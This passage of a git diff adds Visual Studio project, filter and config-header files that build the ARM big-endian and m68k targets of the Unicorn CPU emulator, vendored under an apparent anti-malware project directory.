xmlns="http://schemas.microsoft.com/developer/msbuild/2003"> + <ItemGroup Label="ProjectConfigurations"> + <ProjectConfiguration Include="Debug|Win32"> + <Configuration>Debug</Configuration> + <Platform>Win32</Platform> + </ProjectConfiguration> + <ProjectConfiguration Include="Debug|x64"> + <Configuration>Debug</Configuration> + <Platform>x64</Platform> + </ProjectConfiguration> + <ProjectConfiguration Include="Release|Win32"> + <Configuration>Release</Configuration> + <Platform>Win32</Platform> + </ProjectConfiguration> + <ProjectConfiguration Include="Release|x64"> + <Configuration>Release</Configuration> + <Platform>x64</Platform> + </ProjectConfiguration> + </ItemGroup> + <ItemGroup> + <ClInclude Include="..\..\..\qemu\fpu\softfloat-macros.h" /> + <ClInclude Include="..\..\..\qemu\fpu\softfloat-specialize.h" /> + <ClInclude Include="..\..\..\qemu\target-arm\arm_ldst.h" /> + <ClInclude Include="..\..\..\qemu\target-arm\cpu-qom.h" /> + <ClInclude Include="..\..\..\qemu\target-arm\cpu.h" /> + <ClInclude Include="..\..\..\qemu\target-arm\helper.h" /> + <ClInclude Include="..\..\..\qemu\target-arm\internals.h" /> + <ClInclude Include="..\..\..\qemu\target-arm\kvm-consts.h" /> + <ClInclude Include="..\..\..\qemu\target-arm\op_addsub.h" /> + <ClInclude Include="..\..\..\qemu\target-arm\translate.h" /> + <ClInclude Include="..\..\..\qemu\target-arm\unicorn.h" /> + <ClInclude Include="..\..\..\qemu\tcg\i386\tcg-target.h" /> + <ClInclude Include="..\..\..\qemu\tcg\tcg-be-ldst.h" /> + <ClInclude Include="..\..\..\qemu\tcg\tcg-be-null.h" /> + <ClInclude Include="..\..\..\qemu\tcg\tcg-op.h" /> + <ClInclude Include="..\..\..\qemu\tcg\tcg-opc.h" /> + <ClInclude Include="..\..\..\qemu\tcg\tcg-runtime.h" /> + <ClInclude Include="..\..\..\qemu\tcg\tcg.h" /> + <ClInclude Include="..\..\..\qemu\armeb.h" /> + <ClInclude Include="..\config-host.h" /> + <ClInclude Include="config-target.h" /> + </ItemGroup> + <ItemGroup> + <ClCompile Include="..\..\..\qemu\cpu-exec.c" /> + <ClCompile Include="..\..\..\qemu\cpus.c" /> + <ClCompile Include="..\..\..\qemu\cputlb.c" /> + <ClCompile Include="..\..\..\qemu\exec.c" /> + <ClCompile Include="..\..\..\qemu\fpu\softfloat.c" /> + <ClCompile Include="..\..\..\qemu\hw\arm\tosa.c" /> + <ClCompile Include="..\..\..\qemu\hw\arm\virt.c" /> + <ClCompile Include="..\..\..\qemu\ioport.c" /> + <ClCompile Include="..\..\..\qemu\memory.c" /> + <ClCompile Include="..\..\..\qemu\memory_mapping.c" /> + <ClCompile Include="..\..\..\qemu\target-arm\cpu.c" /> + <ClCompile Include="..\..\..\qemu\target-arm\crypto_helper.c" /> + <ClCompile Include="..\..\..\qemu\target-arm\helper.c" /> + <ClCompile Include="..\..\..\qemu\target-arm\iwmmxt_helper.c" /> + <ClCompile Include="..\..\..\qemu\target-arm\neon_helper.c" /> + <ClCompile Include="..\..\..\qemu\target-arm\op_helper.c" /> + <ClCompile Include="..\..\..\qemu\target-arm\psci.c" /> + <ClCompile Include="..\..\..\qemu\target-arm\translate.c" /> + <ClCompile Include="..\..\..\qemu\target-arm\unicorn_arm.c" /> + <ClCompile Include="..\..\..\qemu\tcg\i386\tcg-target.c"> + <ExcludedFromBuild Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">true</ExcludedFromBuild> + <ExcludedFromBuild Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">true</ExcludedFromBuild> + <ExcludedFromBuild Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">true</ExcludedFromBuild> + <ExcludedFromBuild Condition="'$(Configuration)|$(Platform)'=='Release|x64'">true</ExcludedFromBuild> + </ClCompile> + <ClCompile Include="..\..\..\qemu\tcg\optimize.c" /> + <ClCompile Include="..\..\..\qemu\tcg\tcg.c" /> + <ClCompile Include="..\..\..\qemu\translate-all.c" /> + </ItemGroup> + <PropertyGroup Label="Globals"> + <ProjectGuid>{740F3007-7BF0-4C0C-8FA5-2587C794EF31}</ProjectGuid> + <Keyword>Win32Proj</Keyword> + <RootNamespace>armebsoftmmu</RootNamespace> + </PropertyGroup> + <Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" /> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration"> + <ConfigurationType>StaticLibrary</ConfigurationType> + <UseDebugLibraries>true</UseDebugLibraries> + <PlatformToolset>$(DefaultPlatformToolset)</PlatformToolset> + <CharacterSet>MultiByte</CharacterSet> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration"> + <ConfigurationType>StaticLibrary</ConfigurationType> + <UseDebugLibraries>true</UseDebugLibraries> + <PlatformToolset>$(DefaultPlatformToolset)</PlatformToolset> + <CharacterSet>MultiByte</CharacterSet> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration"> + <ConfigurationType>StaticLibrary</ConfigurationType> + <UseDebugLibraries>false</UseDebugLibraries> + <PlatformToolset>$(DefaultPlatformToolset)</PlatformToolset> + <WholeProgramOptimization>false</WholeProgramOptimization> + <CharacterSet>MultiByte</CharacterSet> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration"> + <ConfigurationType>StaticLibrary</ConfigurationType> + <UseDebugLibraries>false</UseDebugLibraries> + <PlatformToolset>$(DefaultPlatformToolset)</PlatformToolset> + <WholeProgramOptimization>false</WholeProgramOptimization> + <CharacterSet>MultiByte</CharacterSet> + <SpectreMitigation>false</SpectreMitigation> + </PropertyGroup> + <Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" /> + <ImportGroup Label="ExtensionSettings"> + </ImportGroup> + <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'"> + <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" /> + </ImportGroup> + <ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="PropertySheets"> + <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" /> + </ImportGroup> + <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'"> + <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" /> + </ImportGroup> + <ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="PropertySheets"> + <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" /> + </ImportGroup> + <PropertyGroup Label="UserMacros" /> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'"> + <OutDir>$(SolutionDir)$(Platform)\$(Configuration)\</OutDir> + <IntDir>$(ProjectDir)$(Platform)\$(Configuration)\</IntDir> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'"> + <OutDir>$(SolutionDir)$(Platform)\$(Configuration)\</OutDir> + <IntDir>$(ProjectDir)$(Platform)\$(Configuration)\</IntDir> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'"> + <IntDir>$(ProjectDir)$(Platform)\$(Configuration)\</IntDir> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'"> + <IntDir>$(ProjectDir)$(Platform)\$(Configuration)\</IntDir> + </PropertyGroup> + <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'"> + <ClCompile> + <PrecompiledHeader> + </PrecompiledHeader> + <WarningLevel>Level3</WarningLevel> + <Optimization>Disabled</Optimization> + <PreprocessorDefinitions>WIN32;_DEBUG;_LIB;__i386__;%(PreprocessorDefinitions);_CRT_SECURE_NO_WARNINGS;inline=__inline;__func__=__FUNCTION__;NEED_CPU_H;WIN32_LEAN_AND_MEAN</PreprocessorDefinitions> + <AdditionalIncludeDirectories>.;..;../../../qemu;../../../qemu/include;../../../qemu/tcg;../../../qemu/tcg/i386;../../../qemu/target-arm;../../../include</AdditionalIncludeDirectories> + <AdditionalOptions>/wd4018 /wd4244 /wd4267 %(AdditionalOptions)</AdditionalOptions> + <RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary> + <ExceptionHandling>false</ExceptionHandling> + <ForcedIncludeFiles>armeb.h</ForcedIncludeFiles> + </ClCompile> + <Link> + <SubSystem>Windows</SubSystem> + <GenerateDebugInformation>true</GenerateDebugInformation> + </Link> + <PreBuildEvent> + <Command>..\prebuild_script.bat</Command> + </PreBuildEvent> + </ItemDefinitionGroup> + <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'"> + <ClCompile> + <PrecompiledHeader> + </PrecompiledHeader> + <WarningLevel>Level3</WarningLevel> + <Optimization>Disabled</Optimization> + <PreprocessorDefinitions>WIN32;_DEBUG;_LIB;__x86_64__;%(PreprocessorDefinitions);_CRT_SECURE_NO_WARNINGS;inline=__inline;__func__=__FUNCTION__;NEED_CPU_H;WIN32_LEAN_AND_MEAN</PreprocessorDefinitions> + <AdditionalIncludeDirectories>.;..;../../../qemu;../../../qemu/include;../../../qemu/tcg;../../../qemu/tcg/i386;../../../qemu/target-arm;../../../include</AdditionalIncludeDirectories> + <AdditionalOptions>/wd4018 /wd4244 /wd4267 %(AdditionalOptions)</AdditionalOptions> + <RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary> + <ExceptionHandling>false</ExceptionHandling> + <ForcedIncludeFiles>armeb.h</ForcedIncludeFiles> + <DebugInformationFormat>ProgramDatabase</DebugInformationFormat> + </ClCompile> + <Link> + <SubSystem>Windows</SubSystem> + <GenerateDebugInformation>true</GenerateDebugInformation> + </Link> + <PreBuildEvent> + <Command>..\prebuild_script.bat</Command> + </PreBuildEvent> + </ItemDefinitionGroup> + <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'"> + <ClCompile> + <WarningLevel>Level3</WarningLevel> + <PrecompiledHeader> + </PrecompiledHeader> + <Optimization>MaxSpeed</Optimization> + <FunctionLevelLinking>true</FunctionLevelLinking> + <IntrinsicFunctions>true</IntrinsicFunctions> + <PreprocessorDefinitions>WIN32;NDEBUG;_LIB;__i386__;%(PreprocessorDefinitions);_CRT_SECURE_NO_WARNINGS;inline=__inline;__func__=__FUNCTION__;NEED_CPU_H;WIN32_LEAN_AND_MEAN</PreprocessorDefinitions> + <AdditionalIncludeDirectories>.;..;../../../qemu;../../../qemu/include;../../../qemu/tcg;../../../qemu/tcg/i386;../../../qemu/target-arm;../../../include</AdditionalIncludeDirectories> + <AdditionalOptions>/wd4018 /wd4244 /wd4267 %(AdditionalOptions)</AdditionalOptions> + <RuntimeLibrary>MultiThreaded</RuntimeLibrary> + <ExceptionHandling>false</ExceptionHandling> + <ForcedIncludeFiles>armeb.h</ForcedIncludeFiles> + <DebugInformationFormat>None</DebugInformationFormat> + </ClCompile> + <Link> + <SubSystem>Windows</SubSystem> + <GenerateDebugInformation>true</GenerateDebugInformation> + <EnableCOMDATFolding>true</EnableCOMDATFolding> + <OptimizeReferences>true</OptimizeReferences> + </Link> + <PreBuildEvent> + <Command>..\prebuild_script.bat</Command> + </PreBuildEvent> + </ItemDefinitionGroup> + <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'"> + <ClCompile> + <WarningLevel>Level3</WarningLevel> + <PrecompiledHeader> + </PrecompiledHeader> + <Optimization>MaxSpeed</Optimization> + <FunctionLevelLinking>true</FunctionLevelLinking> + <IntrinsicFunctions>true</IntrinsicFunctions> + <PreprocessorDefinitions>WIN32;NDEBUG;_LIB;__x86_64__;%(PreprocessorDefinitions);_CRT_SECURE_NO_WARNINGS;inline=__inline;__func__=__FUNCTION__;NEED_CPU_H;WIN32_LEAN_AND_MEAN</PreprocessorDefinitions> + <AdditionalIncludeDirectories>.;..;../../../qemu;../../../qemu/include;../../../qemu/tcg;../../../qemu/tcg/i386;../../../qemu/target-arm;../../../include</AdditionalIncludeDirectories> + <AdditionalOptions>/wd4018 /wd4244 /wd4267 %(AdditionalOptions)</AdditionalOptions> + <RuntimeLibrary>MultiThreaded</RuntimeLibrary> + <ExceptionHandling>false</ExceptionHandling> + <ForcedIncludeFiles>armeb.h</ForcedIncludeFiles> + <DebugInformationFormat>None</DebugInformationFormat> + </ClCompile> + <Link> + <SubSystem>Windows</SubSystem> + <GenerateDebugInformation>true</GenerateDebugInformation> + <EnableCOMDATFolding>true</EnableCOMDATFolding> + <OptimizeReferences>true</OptimizeReferences> + </Link> + <PreBuildEvent> + <Command>..\prebuild_script.bat</Command> + </PreBuildEvent> + </ItemDefinitionGroup> + <Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" /> + <ImportGroup Label="ExtensionTargets"> + </ImportGroup> +</Project> \ No newline at end of file diff --git a/ai_anti_malware/unicorn/unicorn-master/msvc/unicorn/armeb-softmmu/armeb-softmmu.vcxproj.filters b/ai_anti_malware/unicorn/unicorn-master/msvc/unicorn/armeb-softmmu/armeb-softmmu.vcxproj.filters new file mode 100644 index 0000000..c85b448 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/msvc/unicorn/armeb-softmmu/armeb-softmmu.vcxproj.filters @@ -0,0 +1,137 @@ +<?xml version="1.0" encoding="utf-8"?> +<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003"> + <ItemGroup> + <Filter Include="fpu"> + <UniqueIdentifier>{5c1c56e9-7777-47ee-b021-c79bd6ad8c38}</UniqueIdentifier> + </Filter> + <Filter Include="hw"> + <UniqueIdentifier>{9c860878-f381-4c2e-86db-b7ba81b46c10}</UniqueIdentifier> + </Filter> + <Filter Include="hw\arm"> + <UniqueIdentifier>{2f89d71a-2c88-497f-960b-42c3ac537df4}</UniqueIdentifier> + </Filter> + <Filter Include="target-arm"> + <UniqueIdentifier>{31088e8b-a2b5-4e0a-a288-4f9c537c350a}</UniqueIdentifier> + </Filter> + <Filter Include="tcg"> + <UniqueIdentifier>{56559ccc-d240-4e06-b74b-8bd230f7fe07}</UniqueIdentifier> + </Filter> + <Filter Include="tcg\i386"> + <UniqueIdentifier>{b6c188d2-6b51-4697-ade2-a3c42f88a39d}</UniqueIdentifier> + </Filter> + </ItemGroup> + <ItemGroup> + <ClInclude Include="..\..\..\qemu\fpu\softfloat-macros.h"> + <Filter>fpu</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\fpu\softfloat-specialize.h"> + <Filter>fpu</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\target-arm\arm_ldst.h"> + <Filter>target-arm</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\target-arm\cpu-qom.h"> + <Filter>target-arm</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\target-arm\cpu.h"> + <Filter>target-arm</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\target-arm\helper.h"> + <Filter>target-arm</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\target-arm\internals.h"> + <Filter>target-arm</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\target-arm\kvm-consts.h"> + <Filter>target-arm</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\target-arm\op_addsub.h"> + <Filter>target-arm</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\target-arm\translate.h"> + <Filter>target-arm</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\target-arm\unicorn.h"> + <Filter>target-arm</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\tcg\tcg-be-ldst.h"> + <Filter>tcg</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\tcg\tcg-be-null.h"> + <Filter>tcg</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\tcg\tcg-op.h"> + <Filter>tcg</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\tcg\tcg-opc.h"> + <Filter>tcg</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\tcg\tcg-runtime.h"> + <Filter>tcg</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\tcg\tcg.h"> + <Filter>tcg</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\tcg\i386\tcg-target.h"> + <Filter>tcg\i386</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\armeb.h" /> + <ClInclude Include="..\config-host.h" /> + <ClInclude Include="config-target.h" /> + </ItemGroup> + <ItemGroup> + <ClCompile Include="..\..\..\qemu\fpu\softfloat.c"> + <Filter>fpu</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\hw\arm\tosa.c"> + <Filter>hw\arm</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\hw\arm\virt.c"> + <Filter>hw\arm</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\target-arm\cpu.c"> + <Filter>target-arm</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\target-arm\crypto_helper.c"> + <Filter>target-arm</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\target-arm\helper.c"> + <Filter>target-arm</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\target-arm\iwmmxt_helper.c"> + <Filter>target-arm</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\target-arm\neon_helper.c"> + <Filter>target-arm</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\target-arm\op_helper.c"> + <Filter>target-arm</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\target-arm\psci.c"> + <Filter>target-arm</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\target-arm\translate.c"> + <Filter>target-arm</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\target-arm\unicorn_arm.c"> + <Filter>target-arm</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\tcg\optimize.c"> + <Filter>tcg</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\tcg\tcg.c"> + <Filter>tcg</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\tcg\i386\tcg-target.c"> + <Filter>tcg\i386</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\cpu-exec.c" /> + <ClCompile Include="..\..\..\qemu\cpus.c" /> + <ClCompile Include="..\..\..\qemu\cputlb.c" /> + <ClCompile Include="..\..\..\qemu\exec.c" /> + <ClCompile Include="..\..\..\qemu\ioport.c" /> + <ClCompile Include="..\..\..\qemu\memory.c" /> + <ClCompile Include="..\..\..\qemu\memory_mapping.c" /> + <ClCompile Include="..\..\..\qemu\translate-all.c" /> + </ItemGroup> +</Project> \ No newline at end of file diff --git a/ai_anti_malware/unicorn/unicorn-master/msvc/unicorn/armeb-softmmu/config-target.h b/ai_anti_malware/unicorn/unicorn-master/msvc/unicorn/armeb-softmmu/config-target.h new file mode 100644 index 0000000..8c27112 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/msvc/unicorn/armeb-softmmu/config-target.h @@ -0,0 +1,6 @@ +/* Automatically generated by create_config - do not modify */ +#define TARGET_ARM 1 +#define TARGET_NAME "armeb" +#define TARGET_ARM 1 +#define TARGET_WORDS_BIGENDIAN 1 +#define CONFIG_SOFTMMU 1 diff --git a/ai_anti_malware/unicorn/unicorn-master/msvc/unicorn/config-host.h b/ai_anti_malware/unicorn/unicorn-master/msvc/unicorn/config-host.h new file mode 100644 index 0000000..15adc1d --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/msvc/unicorn/config-host.h @@ -0,0 +1,6 @@ +/* Automatically generated by create_config - do not modify */ +#define HOST_I386 1 +#define CONFIG_WIN32 1 +#define CONFIG_FILEVERSION 2,2,1,0 +#define CONFIG_PRODUCTVERSION 2,2,1,0 +#define CONFIG_CPUID_H 1 diff --git a/ai_anti_malware/unicorn/unicorn-master/msvc/unicorn/m68k-softmmu/config-target.h b/ai_anti_malware/unicorn/unicorn-master/msvc/unicorn/m68k-softmmu/config-target.h new file mode 100644 index 0000000..d0284a3 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/msvc/unicorn/m68k-softmmu/config-target.h @@ -0,0 +1,6 @@ +/* Automatically generated by create_config - do not modify */ +#define TARGET_M68K 1 +#define TARGET_NAME "m68k" +#define TARGET_M68K 1 +#define TARGET_WORDS_BIGENDIAN 1 +#define CONFIG_SOFTMMU 1 diff --git a/ai_anti_malware/unicorn/unicorn-master/msvc/unicorn/m68k-softmmu/m68k-softmmu.vcxproj b/ai_anti_malware/unicorn/unicorn-master/msvc/unicorn/m68k-softmmu/m68k-softmmu.vcxproj new file mode 100644 index 0000000..1c7cee9 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/msvc/unicorn/m68k-softmmu/m68k-softmmu.vcxproj @@ -0,0 +1,226 @@ +<?xml version="1.0" encoding="utf-8"?> +<Project DefaultTargets="Build" ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003"> + <ItemGroup Label="ProjectConfigurations"> + <ProjectConfiguration Include="Debug|Win32"> + <Configuration>Debug</Configuration> + <Platform>Win32</Platform> + </ProjectConfiguration> + <ProjectConfiguration Include="Debug|x64"> + <Configuration>Debug</Configuration> + <Platform>x64</Platform> + </ProjectConfiguration> + <ProjectConfiguration Include="Release|Win32"> + <Configuration>Release</Configuration> + <Platform>Win32</Platform> + </ProjectConfiguration> + <ProjectConfiguration Include="Release|x64"> + <Configuration>Release</Configuration> + <Platform>x64</Platform> + </ProjectConfiguration> + </ItemGroup> + <ItemGroup> + <ClInclude Include="..\..\..\qemu\fpu\softfloat-macros.h" /> + <ClInclude Include="..\..\..\qemu\fpu\softfloat-specialize.h" /> + <ClInclude Include="..\..\..\qemu\tcg\i386\tcg-target.h" /> + <ClInclude Include="..\..\..\qemu\tcg\tcg-be-ldst.h" /> + <ClInclude Include="..\..\..\qemu\tcg\tcg-be-null.h" /> + <ClInclude Include="..\..\..\qemu\tcg\tcg-op.h" /> + <ClInclude Include="..\..\..\qemu\tcg\tcg-opc.h" /> + <ClInclude Include="..\..\..\qemu\tcg\tcg-runtime.h" /> + <ClInclude Include="..\..\..\qemu\tcg\tcg.h" /> + <ClInclude Include="..\..\..\qemu\target-m68k\cpu-qom.h" /> + <ClInclude Include="..\..\..\qemu\target-m68k\cpu.h" /> + <ClInclude Include="..\..\..\qemu\target-m68k\helper.h" /> + <ClInclude Include="..\..\..\qemu\target-m68k\m68k-qreg.h" /> + <ClInclude Include="..\..\..\qemu\target-m68k\unicorn.h" /> + <ClInclude Include="..\..\..\qemu\m68k.h" /> + <ClInclude Include="..\config-host.h" /> + <ClInclude Include="config-target.h" /> + </ItemGroup> + <ItemGroup> + <ClCompile Include="..\..\..\qemu\cpu-exec.c" /> + <ClCompile Include="..\..\..\qemu\cpus.c" /> + <ClCompile Include="..\..\..\qemu\cputlb.c" /> + <ClCompile Include="..\..\..\qemu\exec.c" /> + <ClCompile Include="..\..\..\qemu\fpu\softfloat.c" /> + <ClCompile Include="..\..\..\qemu\ioport.c" /> + <ClCompile Include="..\..\..\qemu\memory.c" /> + <ClCompile Include="..\..\..\qemu\memory_mapping.c" /> + <ClCompile Include="..\..\..\qemu\tcg\i386\tcg-target.c"> + <ExcludedFromBuild Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">true</ExcludedFromBuild> + <ExcludedFromBuild Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">true</ExcludedFromBuild> + <ExcludedFromBuild Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">true</ExcludedFromBuild> + <ExcludedFromBuild Condition="'$(Configuration)|$(Platform)'=='Release|x64'">true</ExcludedFromBuild> + </ClCompile> + <ClCompile Include="..\..\..\qemu\tcg\optimize.c" /> + <ClCompile Include="..\..\..\qemu\tcg\tcg.c" /> + <ClCompile Include="..\..\..\qemu\translate-all.c" /> + <ClCompile Include="..\..\..\qemu\hw\m68k\dummy_m68k.c" /> + <ClCompile Include="..\..\..\qemu\target-m68k\cpu.c" /> + <ClCompile Include="..\..\..\qemu\target-m68k\helper.c" /> + <ClCompile Include="..\..\..\qemu\target-m68k\op_helper.c" /> + <ClCompile Include="..\..\..\qemu\target-m68k\translate.c" /> + <ClCompile Include="..\..\..\qemu\target-m68k\unicorn.c" /> + </ItemGroup> + <PropertyGroup Label="Globals"> + <ProjectGuid>{2C5AD347-6E34-463B-8289-00578E43B255}</ProjectGuid> + <Keyword>Win32Proj</Keyword> + <RootNamespace>m68ksoftmmu</RootNamespace> + </PropertyGroup> + <Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" /> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration"> + <ConfigurationType>StaticLibrary</ConfigurationType> + <UseDebugLibraries>true</UseDebugLibraries> + <PlatformToolset>$(DefaultPlatformToolset)</PlatformToolset> + <CharacterSet>MultiByte</CharacterSet> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration"> + <ConfigurationType>StaticLibrary</ConfigurationType> + <UseDebugLibraries>true</UseDebugLibraries> + <PlatformToolset>$(DefaultPlatformToolset)</PlatformToolset> + <CharacterSet>MultiByte</CharacterSet> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration"> + <ConfigurationType>StaticLibrary</ConfigurationType> + <UseDebugLibraries>false</UseDebugLibraries> + <PlatformToolset>$(DefaultPlatformToolset)</PlatformToolset> + <WholeProgramOptimization>false</WholeProgramOptimization> + <CharacterSet>MultiByte</CharacterSet> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration"> + <ConfigurationType>StaticLibrary</ConfigurationType> + <UseDebugLibraries>false</UseDebugLibraries> + <PlatformToolset>$(DefaultPlatformToolset)</PlatformToolset> + <WholeProgramOptimization>false</WholeProgramOptimization> + <CharacterSet>MultiByte</CharacterSet> + <SpectreMitigation>false</SpectreMitigation> + </PropertyGroup> + <Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" /> + <ImportGroup Label="ExtensionSettings"> + </ImportGroup> + <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'"> + <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" /> + </ImportGroup> + <ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="PropertySheets"> + <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" /> + </ImportGroup> + <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'"> + <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" /> + </ImportGroup> + <ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="PropertySheets"> + <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" /> + </ImportGroup> + <PropertyGroup Label="UserMacros" /> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'"> + <OutDir>$(SolutionDir)$(Platform)\$(Configuration)\</OutDir> + <IntDir>$(ProjectDir)$(Platform)\$(Configuration)\</IntDir> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'"> + <OutDir>$(SolutionDir)$(Platform)\$(Configuration)\</OutDir> + <IntDir>$(ProjectDir)$(Platform)\$(Configuration)\</IntDir> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'"> + <IntDir>$(ProjectDir)$(Platform)\$(Configuration)\</IntDir> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'"> + <IntDir>$(ProjectDir)$(Platform)\$(Configuration)\</IntDir> + </PropertyGroup> + <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'"> + <ClCompile> + <PrecompiledHeader> + </PrecompiledHeader> + <WarningLevel>Level3</WarningLevel> + <Optimization>Disabled</Optimization> + <PreprocessorDefinitions>WIN32;_DEBUG;_LIB;__i386__;%(PreprocessorDefinitions);_CRT_SECURE_NO_WARNINGS;inline=__inline;__func__=__FUNCTION__;NEED_CPU_H;WIN32_LEAN_AND_MEAN</PreprocessorDefinitions> + <AdditionalIncludeDirectories>.;..;../../../qemu;../../../qemu/include;../../../qemu/tcg;../../../qemu/tcg/i386;../../../qemu/target-m68k;../../../include</AdditionalIncludeDirectories> + <AdditionalOptions>/wd4018 /wd4244 /wd4267 %(AdditionalOptions)</AdditionalOptions> + <RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary> + <ExceptionHandling>false</ExceptionHandling> + <ForcedIncludeFiles>m68k.h</ForcedIncludeFiles> + </ClCompile> + <Link> 